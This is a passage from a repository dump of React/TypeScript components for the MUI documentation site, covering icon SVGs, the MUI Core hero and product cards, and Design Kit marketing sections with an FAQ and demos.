21.985V15.655C19.24 14.245 20 12.405 20 10.375C20 5.955 16.42 2.375 12 2.375C7.58 2.375 4 5.955 4 10.375C4 12.405 4.76 14.245 6 15.655V21.985ZM12 4.375C15.31 4.375 18 7.065 18 10.375C18 13.685 15.31 16.375 12 16.375C8.69 16.375 6 13.685 6 10.375C6 7.065 8.69 4.375 12 4.375Z\"\n        fill=\"currentColor\"\n      />\n      <path\n        d=\"M10.92 13.125L12 12.305L13.07 13.115C13.46 13.405 13.99 13.035 13.85 12.565L13.43 11.205L14.63 10.255C15 9.975 14.79 9.375 14.31 9.375H12.91L12.48 8.035C12.33 7.575 11.68 7.575 11.53 8.035L11.09 9.375H9.68C9.21 9.375 9 9.975 9.37 10.265L10.56 11.215L10.14 12.575C10 13.045 10.53 13.415 10.92 13.125ZM6 21.985C6 22.665 6.67 23.145 7.32 22.935L12 21.375L16.68 22.935C17.33 23.155 18 22.675 18 21.985V15.655C19.24 14.245 20 12.405 20 10.375C20 5.955 16.42 2.375 12 2.375C7.58 2.375 4 5.955 4 10.375C4 12.405 4.76 14.245 6 15.655V21.985ZM12 4.375C15.31 4.375 18 7.065 18 10.375C18 13.685 15.31 16.375 12 16.375C8.69 16.375 6 13.685 6 10.375C6 7.065 8.69 4.375 12 4.375Z\"\n        fill={`url(#${gradientId})`}\n        fillOpacity=\"0.8\"\n      />\n      <defs>\n        <linearGradient\n          id={gradientId}\n          x1=\"16.8667\"\n          y1=\"3.23391\"\n          x2=\"0.741029\"\n          y2=\"18.9648\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#FDFFFE\" />\n          <stop offset=\"0.39\" stopColor=\"#7A96AC\" />\n          <stop offset=\"0.635\" stopColor=\"#D4DEE5\" />\n          <stop offset=\"0.815\" stopColor=\"#7A96AC\" />\n          <stop offset=\"1\" stopColor=\"#BCCAD7\" />\n        </linearGradient>\n      </defs>\n    </SvgIcon>\n  );\n}\n\nexport function PrioritySupportIcon({ idPrefix = '' }: { idPrefix?: string }) {\n  const gradientId = `${idPrefix}priority-gradient`;\n  return (\n    <SvgIcon inheritViewBox>\n      <path\n        d=\"M10.92 13.125L12 12.305L13.07 13.115C13.46 13.405 13.99 13.035 13.85 12.565L13.43 11.205L14.63 10.255C15 9.975 14.79 9.375 14.31 9.375H12.91L12.48 8.035C12.33 7.575 11.68 7.575 11.53 8.035L11.09 9.375H9.68C9.21 9.375 9 9.975 9.37 10.265L10.56 11.215L10.14 12.575C10 13.045 10.53 13.415 10.92 13.125ZM6 21.985C6 22.665 6.67 23.145 7.32 22.935L12 21.375L16.68 22.935C17.33 23.155 18 22.675 18 21.985V15.655C19.24 14.245 20 12.405 20 10.375C20 5.955 16.42 2.375 12 2.375C7.58 2.375 4 5.955 4 10.375C4 12.405 4.76 14.245 6 15.655V21.985ZM12 4.375C15.31 4.375 18 7.065 18 10.375C18 13.685 15.31 16.375 12 16.375C8.69 16.375 6 13.685 6 10.375C6 7.065 8.69 4.375 12 4.375Z\"\n        fill=\"currentColor\"\n      />\n      <path\n        d=\"M10.92 13.125L12 12.305L13.07 13.115C13.46 13.405 13.99 13.035 13.85 12.565L13.43 11.205L14.63 10.255C15 9.975 14.79 9.375 14.31 9.375H12.91L12.48 8.035C12.33 7.575 11.68 7.575 11.53 8.035L11.09 9.375H9.68C9.21 9.375 9 9.975 9.37 10.265L10.56 11.215L10.14 12.575C10 13.045 10.53 13.415 10.92 13.125ZM6 21.985C6 22.665 6.67 23.145 7.32 22.935L12 21.375L16.68 22.935C17.33 23.155 18 22.675 18 21.985V15.655C19.24 14.245 20 12.405 20 10.375C20 5.955 16.42 2.375 12 2.375C7.58 2.375 4 5.955 4 10.375C4 12.405 4.76 14.245 6 15.655V21.985ZM12 4.375C15.31 4.375 18 7.065 18 10.375C18 13.685 15.31 16.375 12 16.375C8.69 16.375 6 13.685 6 10.375C6 7.065 8.69 4.375 12 4.375Z\"\n        fill={`url(#${gradientId})`}\n        fillOpacity=\"0.8\"\n      />\n      <defs>\n        <linearGradient\n          id={gradientId}\n          x1=\"6.13333\"\n          y1=\"5.98244\"\n          x2=\"20.2363\"\n          y2=\"17.0584\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#8C421D\" />\n          <stop offset=\"0.325272\" stopColor=\"#FBE67B\" />\n          <stop offset=\"0.535488\" stopColor=\"#FCFBE7\" />\n          <stop offset=\"0.769917\" stopColor=\"#F7D14E\" />\n          <stop offset=\"1\" stopColor=\"#D4A041\" />\n        </linearGradient>\n      </defs>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productCore/CoreHero.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport IconImage from '@mui/docs/IconImage';\n\nexport default function CoreHero() {\n  return (\n    <Section cozy noPaddingBottom>\n      <SectionHeadline\n        alwaysCenter\n        overline={\n          <Stack direction=\"row\" sx={{ justifyContent: 'center', alignItems: 'center' }}>\n            <IconImage loading=\"eager\" width={28} height={28} name=\"product-core\" sx={{ mr: 1 }} />{' '}\n            MUI Core\n          </Stack>\n        }\n        title={\n          <Typography component=\"h1\" variant=\"h2\" sx={{ textAlign: 'center' }} gutterBottom>\n            Ready to use components <GradientText>free forever</GradientText>\n          </Typography>\n        }\n        description=\"Get a growing list of React components and utilities, ready-to-use, free forever, and with\n        accessibility always in mind. We've built the foundational UI blocks for your design system so you don't have to.\"\n      />\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productCore/CoreProducts.tsx",
    "content": "import Grid from '@mui/material/Grid';\nimport Section from 'docs/src/layouts/Section';\nimport { InfoCard } from '@mui/docs/InfoCard';\nimport { Theme } from '@mui/material/styles';\nimport SvgMuiLogomark from 'docs/src/icons/SvgMuiLogomark';\nimport StyleRoundedIcon from '@mui/icons-material/StyleRounded';\nimport WebRoundedIcon from '@mui/icons-material/WebRounded';\n\nconst iconStyles = (theme: Theme) => ({\n  fontSize: '.875rem',\n  color: (theme.vars || theme).palette.primary.main,\n});\n\nconst logoColor = (theme: Theme) => ({\n  '& path': {\n    ...theme.applyDarkStyles({\n      fill: (theme.vars || theme).palette.primary[400],\n    }),\n  },\n});\n\nconst content = [\n  {\n    icon: <SvgMuiLogomark width={14} height={14} sx={logoColor} />,\n    title: 'Material UI',\n    description: \"An open-source React component library that implements Google's Material Design.\",\n    link: '/material-ui/',\n  },\n  {\n    icon: <WebRoundedIcon sx={iconStyles} />,\n    title: 'Joy UI',\n    description:\n      \"An open-source React component library that implements MUI's own in-house design principles.\",\n    link: '/joy-ui/getting-started/',\n  },\n  {\n    icon: <StyleRoundedIcon sx={iconStyles} />,\n    title: 'MUI System',\n    description:\n      'A set of CSS utilities to help you build custom designs more efficiently. It makes it possible to rapidly lay out custom designs.',\n    link: '/system/getting-started/',\n  },\n];\n\nexport default function CoreProducts() {\n  return (\n    <Section cozy>\n      <Grid container spacing={2}>\n        {content.map(({ icon, title, description, link }) => (\n          <Grid key={title} size={{ xs: 12, md: 4 }}>\n            <InfoCard\n              icon={icon}\n              link={link}\n              title={title}\n              description={description}\n              titleProps={{\n                component: 'h2',\n              }}\n            />\n          </Grid>\n        ))}\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productDesignKit/DesignKitDemo.tsx",
    "content": "import * as React from 'react';\nimport { styled, alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Grid from '@mui/material/Grid';\nimport Fade from '@mui/material/Fade';\nimport Typography from '@mui/material/Typography';\nimport ChevronRightRoundedIcon from '@mui/icons-material/ChevronRightRounded';\nimport TextFieldsRounded from '@mui/icons-material/TextFieldsRounded';\nimport WidgetsRounded from '@mui/icons-material/WidgetsRounded';\nimport ToggleOnRounded from '@mui/icons-material/ToggleOnRounded';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport Item, { Group } from 'docs/src/components/action/Item';\nimport Highlighter from 'docs/src/components/action/Highlighter';\nimport More from 'docs/src/components/action/More';\nimport Frame from 'docs/src/components/action/Frame';\nimport { Link } from '@mui/docs/Link';\n\nconst DEMOS = ['Components', 'Branding', 'Iconography'];\n\nconst Image = styled('img')(({ theme }) => ({\n  transition: '0.4s',\n  display: 'block',\n  height: 'auto',\n  borderRadius: 6,\n  border: '1px solid',\n  borderColor: theme.palette.divider,\n  filter: `drop-shadow(-2px 4px 6px ${alpha(theme.palette.grey[500], 0.5)})`,\n  ...theme.applyDarkStyles({\n    filter: `drop-shadow(-2px 4px 6px ${alpha(theme.palette.common.black, 0.2)})`,\n    borderColor: theme.palette.primaryDark[600],\n  }),\n}));\n\ninterface MaterialFigmaComponentsProps {\n  fadeIn?: boolean;\n}\n\nexport function MaterialFigmaComponents({ fadeIn }: MaterialFigmaComponentsProps) {\n  return (\n    <Fade in={fadeIn} timeout={500}>\n      <Box\n        sx={[\n          {\n            width: '100%',\n            height: '100%',\n            '& img': {\n              position: 'absolute',\n              left: '50%',\n              width: { xs: 220, sm: 300 },\n              '&:nth-of-type(1)': {\n                top: 120,\n                transform: 'translate(-70%)',\n              },\n              '&:nth-of-type(2)': {\n                top: 80,\n                transform: 'translate(-50%)',\n              },\n              '&:nth-of-type(3)': {\n                top: 40,\n                transform: 'translate(-30%)',\n              },\n            },\n            '&:hover': {\n              '& img': {\n                filter: 'drop-shadow(-16px 12px 20px rgba(61, 71, 82, 0.2))',\n                '&:nth-of-type(1)': {\n                  top: 0,\n                  transform: 'scale(0.8) translate(-110%) rotateY(30deg)',\n                },\n                '&:nth-of-type(2)': {\n                  top: 40,\n                  transform: 'scale(0.8) translate(-60%) rotateY(30deg)',\n                },\n                '&:nth-of-type(3)': {\n                  top: 40,\n                  transform: 'scale(0.8) translate(-10%) rotateY(30deg)',\n                },\n              },\n            },\n          },\n          (theme) =>\n            theme.applyDarkStyles({\n              '&:hover': {\n                '& img': {\n                  filter: 'drop-shadow(-16px 12px 20px rgba(0, 0, 0, 0.4))',\n                },\n              },\n            }),\n        ]}\n      >\n        <Image\n          src=\"/static/branding/design-kits/Button-light.jpeg\"\n          alt=\"Material UI Button component variations in the Figma Design Kit.\"\n          loading=\"lazy\"\n          sx={(theme) =>\n            theme.applyDarkStyles({\n              content: `url(/static/branding/design-kits/Button-dark.jpeg)`,\n            })\n          }\n        />\n        <Image\n          src=\"/static/branding/design-kits/Alert-light.jpeg\"\n          alt=\"Material UI Alert component variations in the Figma Design Kit.\"\n          loading=\"lazy\"\n          sx={(theme) =>\n            theme.applyDarkStyles({\n              content: `url(/static/branding/design-kits/Alert-dark.jpeg)`,\n            })\n          }\n        />\n        <Image\n          src=\"/static/branding/design-kits/Slider-light.jpeg\"\n          alt=\"Material UI Slider component variations in the Figma Design Kit.\"\n          loading=\"lazy\"\n          sx={(theme) =>\n            theme.applyDarkStyles({\n              content: `url(/static/branding/design-kits/Slider-dark.jpeg)`,\n            })\n          }\n        />\n      </Box>\n    </Fade>\n  );\n}\n\nexport function MaterialDesignKitInfo() {\n  return (\n    <Frame.Info data-mui-color-scheme=\"dark\">\n      <Box sx={{ display: 'flex', alignItems: 'center', gap: 1, mb: 0.5 }}>\n        <Typography variant=\"body2\" sx={{ fontWeight: 'semiBold' }}>\n          Available in:\n        </Typography>\n        <Box sx={{ display: 'flex', gap: 1, '& >img': { width: 20, height: 20 } }}>\n          <img src=\"/static/branding/design-kits/figma-logo.svg\" alt=\"Figma logo.\" loading=\"lazy\" />\n          <img\n            src=\"/static/branding/design-kits/sketch-logo.svg\"\n            alt=\"Sketch logo.\"\n            loading=\"lazy\"\n          />\n        </Box>\n      </Box>\n      <Typography variant=\"body2\" sx={{ color: 'text.secondary', mb: 2 }}>\n        We frequently update them to stay up-to-date with the latest release.\n      </Typography>\n      <Box sx={{ display: 'flex', flexDirection: { xs: 'column', sm: 'row' }, gap: 1.5 }}>\n        <Button\n          component={Link}\n          variant=\"contained\"\n          size=\"small\"\n          noLinkStyle\n          href=\"https://mui.com/store/?utm_source=marketing&utm_medium=referral&utm_campaign=design-cta2#design\"\n          endIcon={<ChevronRightRoundedIcon />}\n        >\n          Buy it now\n        </Button>\n        <Button\n          component={Link}\n          variant=\"outlined\"\n          size=\"small\"\n          color=\"secondary\"\n          href=\"https://www.figma.com/community/file/912837788133317724/material-ui-for-figma-and-mui-x\"\n          startIcon={\n            <img\n              src=\"/static/branding/design-kits/figma-logo.svg\"\n              alt=\"\"\n              loading=\"lazy\"\n              style={{ width: 16, height: 16 }}\n            />\n          }\n        >\n          Figma Preview\n        </Button>\n      </Box>\n    </Frame.Info>\n  );\n}\n\nexport default function DesignKitsDemo() {\n  const [demo, setDemo] = React.useState(DEMOS[0]);\n  const icons = {\n    [DEMOS[0]]: <ToggleOnRounded fontSize=\"small\" />,\n    [DEMOS[1]]: <TextFieldsRounded fontSize=\"small\" />,\n    [DEMOS[2]]: <WidgetsRounded fontSize=\"small\" />,\n  };\n  return (\n    <Section bg=\"gradient\" cozy>\n      <Grid container spacing={2} sx={{ alignItems: 'center' }}>\n        <Grid sx={{ minWidth: 0 }} size={{ md: 6 }}>\n          <SectionHeadline\n            overline=\"Design Kits\"\n            title={\n              <Typography variant=\"h2\">\n                Enhance your <GradientText>design workflow</GradientText>\n              </Typography>\n            }\n            description=\"The Design Kits contain many of the Material UI components with states, variations, colors, typography, and icons.\"\n          />\n          <Group desktopColumns={2} sx={{ m: -2, p: 2 }}>\n            {DEMOS.map((name) => (\n              <Highlighter key={name} selected={name === demo} onClick={() => setDemo(name)}>\n                <Item\n                  icon={React.cloneElement(icons[name], name === demo ? { color: 'primary' } : {})}\n                  title={name}\n                />\n              </Highlighter>\n            ))}\n            <More\n              component={Link}\n              href=\"https://mui.com/store/?utm_source=marketing&utm_medium=referral&utm_campaign=design-cta3#design\"\n              noLinkStyle\n            />\n          </Group>\n        </Grid>\n        <Grid size={{ xs: 12, md: 6 }}>\n          <Frame>\n            <Frame.Demo sx={{ overflow: 'clip', height: { xs: 240, sm: 390 } }}>\n              <MaterialFigmaComponents fadeIn={demo === 'Components'} />\n              <Fade in={demo === 'Branding'} timeout={500}>\n                <Image\n                  src=\"/static/branding/design-kits/Colors-light.jpeg\"\n                  alt=\"Available colors on the Material UI Kit.\"\n                  loading=\"lazy\"\n                  width=\"300\"\n                  sx={(theme) => ({\n                    width: { sm: 400 },\n                    position: 'absolute',\n                    left: '50%',\n                    top: '50%',\n                    transform: 'translate(-50%, -50%)',\n                    ...theme.applyDarkStyles({\n                      content: `url(/static/branding/design-kits/Colors-dark.jpeg)`,\n                    }),\n                  })}\n                />\n              </Fade>\n              <Fade in={demo === 'Iconography'} timeout={500}>\n                <Image\n                  src=\"/static/branding/design-kits/Icons-light.jpeg\"\n                  alt=\"A bunch of icons available with the Material UI Design Kits.\"\n                  loading=\"lazy\"\n                  width=\"300\"\n                  sx={(theme) => ({\n                    width: { sm: 500 },\n                    position: 'absolute',\n                    left: '50%',\n                    top: 60,\n                    transform: 'translate(-40%)',\n                    ...theme.applyDarkStyles({\n                      content: `url(/static/branding/design-kits/Icons-dark.jpeg)`,\n                    }),\n                  })}\n                />\n              </Fade>\n            </Frame.Demo>\n            <MaterialDesignKitInfo />\n          </Frame>\n        </Grid>\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productDesignKit/DesignKitFAQ.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Grid from '@mui/material/Grid';\nimport Button from '@mui/material/Button';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport Paper from '@mui/material/Paper';\nimport Typography from '@mui/material/Typography';\nimport MuiAccordion from '@mui/material/Accordion';\nimport MuiAccordionSummary from '@mui/material/AccordionSummary';\nimport MuiAccordionDetail from '@mui/material/AccordionDetails';\nimport KeyboardArrowDownRounded from '@mui/icons-material/KeyboardArrowDownRounded';\nimport { Link as InternalLink } from '@mui/docs/Link';\nimport Section from 'docs/src/layouts/Section';\n\nconst faqData = [\n  {\n    summary: 'What long-term support do you offer?',\n    detail: (\n      <React.Fragment>\n        We think you&apos;ll love the components we&apos;ve built so far, but we&apos;re planning to\n        release more. We opened it up as soon as we had something useful, so that you can start\n        getting value from it right away, and we&apos;ll be adding new features and components based\n        on our own ideas, and on suggestions from early access customers.\n      </React.Fragment>\n    ),\n  },\n  {\n    summary: 'How many licenses do I need?',\n    detail: (\n      <React.Fragment>\n        The number of licenses purchased must correspond to the maximum number of editors working\n        concurrently in a 24 hour period. An editor is somebody contributing changes to the designed\n        screens that use the Design Kits. No licenses are required for viewing the designs.\n      </React.Fragment>\n    ),\n  },\n  {\n    summary: 'The Design Kit got an update. How do I get it?',\n    detail: (\n      <React.Fragment>\n        We&apos;ll send you an email when a new release is available. You can access the item on the{' '}\n        <InternalLink href=\"https://mui.com/store/account/downloads/\">download</InternalLink> page\n        of your store account and find a detailed description of the changes under\n        the&quot;Changelog&quot; tab on this page.\n      </React.Fragment>\n    ),\n  },\n  {\n    summary: 'Can I still use the Material UI Sync plugin?',\n    detail: (\n      <React.Fragment>\n        Development on the Material UI Sync plugin was suspended in 2024. We do not recommend using\n        it in new projects.\n      </React.Fragment>\n    ),\n  },\n  {\n    summary: 'Do you offer discounts to educational or non-profit organizations?',\n    detail: (\n      <React.Fragment>\n        <strong>Yes.</strong> We offer a 50% discount on all products licensed to students,\n        instructors, non-profit, and charity entities. This special discount cannot be combined with\n        any other type of discount. To qualify for the discount, you need to send us a document\n        clearly indicating that you are a member of the respective institution. An email from your\n        official account which bears your signature is sufficient in most cases. For more\n        information on how to qualify for a discount, please contact sales.\n      </React.Fragment>\n    ),\n  },\n  {\n    summary: 'Figma or Sketch?',\n    detail: (\n      <React.Fragment>\n        We aim to keep feature parity between the Figma and Sketch kits where possible. We have a\n        50% off coupon for past customers who want to switch between them.\n      </React.Fragment>\n    ),\n  },\n];\n\nconst Accordion = styled(MuiAccordion)(({ theme }) => ({\n  padding: theme.spacing(2),\n  transition: theme.transitions.create('box-shadow'),\n  '&&': {\n    borderRadius: theme.shape.borderRadius,\n  },\n  '&:hover': {\n    boxShadow: '1px 1px 8px 0 rgb(90 105 120 / 20%)',\n  },\n  '&:not(:last-of-type)': {\n    marginBottom: theme.spacing(2),\n  },\n  '&::before': {\n    display: 'none',\n  },\n  '&::after': {\n    display: 'none',\n  },\n}));\n\nconst AccordionSummary = styled(MuiAccordionSummary)(({ theme }) => ({\n  padding: theme.spacing(2),\n  margin: theme.spacing(-2),\n  minHeight: 'auto',\n  '&.Mui-expanded': {\n    minHeight: 'auto',\n  },\n  '& .MuiAccordionSummary-content': {\n    margin: 0,\n    paddingRight: theme.spacing(2),\n    '&.Mui-expanded': {\n      margin: 0,\n    },\n  },\n}));\n\nconst AccordionDetails = styled(MuiAccordionDetail)(({ theme }) => ({\n  marginTop: theme.spacing(1),\n  padding: 0,\n}));\n\nexport default function DesignKitFAQ() {\n  function renderItem(index: number) {\n    const faq = faqData[index];\n    return (\n      <Accordion variant=\"outlined\">\n        <AccordionSummary\n          expandIcon={<KeyboardArrowDownRounded sx={{ fontSize: 20, color: 'primary.main' }} />}\n        >\n          <Typography variant=\"body2\" component=\"h3\" sx={{ fontWeight: 'bold' }}>\n            {faq.summary}\n          </Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography\n            component=\"div\"\n            variant=\"body2\"\n            sx={{ color: 'text.secondary', '& ul': { pl: 2 } }}\n          >\n            {faq.detail}\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n    );\n  }\n  return (\n    <Section>\n      <Typography id=\"faq\" variant=\"h2\" sx={{ mb: { xs: 2, sm: 4 } }}>\n        Frequently asked questions\n      </Typography>\n      <Grid container spacing={2}>\n        <Grid size={{ xs: 12, md: 6 }}>\n          {renderItem(0)}\n          {renderItem(1)}\n          {renderItem(2)}\n        </Grid>\n        <Grid size={{ xs: 12, md: 6 }}>\n          {renderItem(3)}\n          {renderItem(4)}\n          <Paper\n            variant=\"outlined\"\n            sx={(theme) => ({\n              p: 2,\n              pb: 1,\n              borderStyle: 'dashed',\n              borderColor: 'grey.300',\n              bgcolor: 'white',\n              textAlign: 'left',\n              ...theme.applyDarkStyles({\n                borderColor: 'primaryDark.600',\n                bgcolor: 'primaryDark.800',\n              }),\n            })}\n          >\n            <Typography\n              variant=\"body2\"\n              gutterBottom\n              sx={{ color: 'text.primary', fontWeight: 'bold' }}\n            >\n              Still have questions?\n            </Typography>\n            <Typography variant=\"body2\" gutterBottom sx={{ color: 'text.primary' }}>\n              From community help to premium business support, we&apos;re here for you.\n            </Typography>\n            <Button\n              component=\"a\"\n              // @ts-expect-error\n              variant=\"link\"\n              size=\"small\"\n              href=\"mailto:sales@mui.com\"\n              endIcon={<KeyboardArrowRightRounded />}\n              sx={{ ml: -1 }}\n            >\n              Contact sales\n            </Button>\n          </Paper>\n        </Grid>\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productDesignKit/DesignKitHero.tsx",
    "content": "import { alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport HeroContainer from 'docs/src/layouts/HeroContainer';\nimport IconImage from '@mui/docs/IconImage';\nimport GetStartedButtons from 'docs/src/components/home/GetStartedButtons';\nimport {\n  DesignKitImagesSet1,\n  DesignKitImagesSet2,\n  DesignKitTools,\n} from 'docs/src/components/home/DesignKits';\n\nexport default function TemplateHero() {\n  return (\n    <HeroContainer\n      linearGradient\n      left={\n        <Box sx={{ textAlign: { xs: 'center', md: 'left' } }}>\n          <Typography\n            variant=\"body2\"\n            sx={[\n              {\n                fontWeight: 'bold',\n              },\n              (theme) => ({\n                color: 'primary.600',\n                display: 'flex',\n                alignItems: 'center',\n                justifyContent: { xs: 'center', md: 'start' },\n                '& > *': { mr: 1 },\n                ...theme.applyDarkStyles({\n                  color: 'primary.400',\n                }),\n              }),\n            ]}\n          >\n            <IconImage width={28} height={28} loading=\"eager\" name=\"product-designkits\" /> Design\n            Kits\n          </Typography>\n          <Typography variant=\"h1\" sx={{ my: 2, maxWidth: 500 }}>\n            Material UI\n            <br /> in your favorite\n            <br /> <GradientText>design tool</GradientText>\n          </Typography>\n          <Typography sx={{ color: 'text.secondary', mb: 3, maxWidth: 450 }}>\n            Pick your favorite design tool to enjoy and use Material UI components. Boost\n            consistency and facilitate communication when working with developers.\n          </Typography>\n          <GetStartedButtons\n            primaryLabel=\"Buy now\"\n            primaryUrl=\"https://mui.com/store/?utm_source=marketing&utm_medium=referral&utm_campaign=design-cta#design\"\n            secondaryLabel=\"Figma Preview\"\n            secondaryUrl=\"https://www.figma.com/community/file/912837788133317724/material-ui-for-figma-and-mui-x\"\n          />\n        </Box>\n      }\n      right={\n        <Box sx={{ position: 'relative', height: '100%', perspective: '1000px' }}>\n          <DesignKitTools />\n          <Box\n            sx={(theme) => ({\n              position: 'absolute',\n              top: 0,\n              left: 0,\n              width: '100%',\n              height: '100%',\n              zIndex: 1,\n              background: `linear-gradient(90deg, ${alpha(\n                theme.palette.primaryDark[900],\n                0.8,\n              )} 1%, ${alpha(theme.palette.primaryDark[900], 0.1)})`,\n              opacity: 0,\n              ...theme.applyDarkStyles({\n                opacity: 1,\n              }),\n            })}\n          />\n          <Box\n            sx={{\n              left: '40%',\n              position: 'absolute',\n              display: 'flex',\n              transform: 'translateX(-40%) rotateZ(30deg) rotateX(8deg) rotateY(-8deg)',\n              transformOrigin: 'center center',\n            }}\n          >\n            <DesignKitImagesSet1\n              keyframes={{\n                '0%': {\n                  transform: 'translateY(-200px)',\n                },\n                '100%': {\n                  transform: 'translateY(0px)',\n                },\n              }}\n            />\n            <DesignKitImagesSet2\n              keyframes={{\n                '0%': {\n                  transform: 'translateY(150px)',\n                },\n                '100%': {\n                  transform: 'translateY(-80px)',\n                },\n              }}\n              sx={{ ml: { xs: 2, sm: 4, md: 8 } }}\n            />\n          </Box>\n        </Box>\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productDesignKit/DesignKitValues.tsx",
    "content": "import Typography from '@mui/material/Typography';\nimport Grid from '@mui/material/Grid';\nimport Palette from '@mui/icons-material/Palette';\nimport LibraryBooks from '@mui/icons-material/LibraryBooks';\nimport { InfoCard } from '@mui/docs/InfoCard';\nimport CodeRounded from '@mui/icons-material/CodeRounded';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\n\nconst content = [\n  {\n    icon: <Palette fontSize=\"small\" color=\"primary\" />,\n    title: 'For designers',\n    description:\n      'Save time getting the Material UI components all setup, leveraging the latest features from your favorite design tool.',\n  },\n  {\n    icon: <LibraryBooks fontSize=\"small\" color=\"primary\" />,\n    title: 'For product managers',\n    description:\n      'Quickly put together ideas and high-fidelity mockups/prototypes using components from your actual product.',\n  },\n  {\n    icon: <CodeRounded fontSize=\"small\" color=\"primary\" />,\n    title: 'For developers',\n    description:\n      'Effortlessly communicate with designers using the same language around the Material UI components props and variants.',\n  },\n];\n\nexport default function DesignKitValues() {\n  return (\n    <Section cozy>\n      <SectionHeadline\n        overline=\"Collaboration\"\n        title={\n          <Typography variant=\"h2\" sx={{ mt: 1 }}>\n            Be more efficient <GradientText>designing and developing</GradientText> with the same\n            library\n          </Typography>\n        }\n      />\n      <Grid container spacing={3} sx={{ mt: 4 }}>\n        {content.map(({ icon, title, description }) => (\n          <Grid key={title} size={{ xs: 12, sm: 6, md: 4 }}>\n            <InfoCard title={title} icon={icon} description={description} />\n          </Grid>\n        ))}\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productDesignKit/SyncFeatures.tsx",
    "content": "import * as React from 'react';\nimport { styled, alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\nimport Fade from '@mui/material/Fade';\nimport FormatShapesRoundedIcon from '@mui/icons-material/FormatShapesRounded';\nimport SvgStorybook from 'docs/src/icons/SvgStorybook';\nimport ImagesearchRollerRoundedIcon from '@mui/icons-material/ImagesearchRollerRounded';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport Item, { Group } from 'docs/src/components/action/Item';\nimport Highlighter from 'docs/src/components/action/Highlighter';\nimport Frame from 'docs/src/components/action/Frame';\nimport { Link } from '@mui/docs/Link';\n\nconst Image = styled('img')(({ theme }) => ({\n  transition: '0.4s',\n  display: 'block',\n  height: 'auto',\n  borderRadius: 6,\n  border: '1px solid',\n  borderColor: theme.palette.divider,\n  filter: `drop-shadow(-2px 4px 6px ${alpha(theme.palette.grey[500], 0.5)})`,\n  ...theme.applyDarkStyles({\n    filter: `drop-shadow(-2px 4px 6px ${alpha(theme.palette.common.black, 0.2)})`,\n    borderColor: theme.palette.primaryDark[600],\n  }),\n}));\n\nexport default function ConnectFeatures() {\n  const [index, setIndex] = React.useState(0);\n  function getSelectedProps(i: number) {\n    return {\n      selected: index === i,\n      sx: { '& svg': { opacity: index === i ? 1 : 0.5 } },\n    };\n  }\n  return (\n    <Section>\n      <Grid container spacing={2}>\n        <Grid sx={{ minWidth: 0 }} size={{ md: 6 }}>\n          <SectionHeadline\n            overline=\"Available in Beta\"\n            title={\n              <Typography variant=\"h2\">\n                The way developers and designers <GradientText>ship faster</GradientText>\n              </Typography>\n            }\n            description=\"The Sync plugin is perfect for designing and developing using the Material UI React library and Design Kit.\"\n          />\n          <Group sx={{ m: -2, p: 2 }}>\n            <Highlighter disableBorder {...getSelectedProps(0)} onClick={() => setIndex(0)}>\n              <Item\n                icon={<ImagesearchRollerRoundedIcon color=\"primary\" />}\n                title=\"Theme customization\"\n                description=\"Generate theme code with custom colors, typography styles, shadows, spacing values, and border-radius.\"\n              />\n            </Highlighter>\n            <Highlighter disableBorder {...getSelectedProps(1)} onClick={() => setIndex(1)}>\n              <Item\n                icon={<FormatShapesRoundedIcon color=\"primary\" />}\n                title=\"Component customization\"\n                description=\"Fully customize a component's design across multiple states and then generate the corresponding theme code.\"\n              />\n            </Highlighter>\n            <Highlighter disableBorder {...getSelectedProps(2)} onClick={() => setIndex(2)}>\n              <Item\n                icon={<SvgStorybook />}\n                title=\"Preview your changes on Storybook\"\n                description=\"Quickly visualize all the changes you run through Sync on a built-in Storybook preview instance.\"\n              />\n            </Highlighter>\n          </Group>\n        </Grid>\n        <Grid size={{ xs: 12, md: 6 }}>\n          <Frame sx={{ height: '100%' }}>\n            <Frame.Demo\n              sx={{ overflow: 'clip', height: { xs: 240, sm: 420 }, perspective: '1000px' }}\n            >\n              <Box\n                sx={{\n                  width: '100%',\n                  height: '100%',\n                  '& img': {\n                    position: 'absolute',\n                    top: '10%',\n                    left: '10%',\n                  },\n                }}\n              >\n                {index === 0 && (\n                  <Fade in={index === 0} timeout={500}>\n                    <Box\n                      sx={(theme) => ({\n                        width: '100%',\n                        height: '100%',\n                        '& img': {\n                          position: 'absolute',\n                          '&:nth-of-type(1)': {\n                            visibility: { xs: 'hidden', sm: 'visible' },\n                            width: { xs: 240, sm: 600 },\n                            top: 100,\n                            left: '50%',\n                            transform: 'translate(-40%)',\n                          },\n                          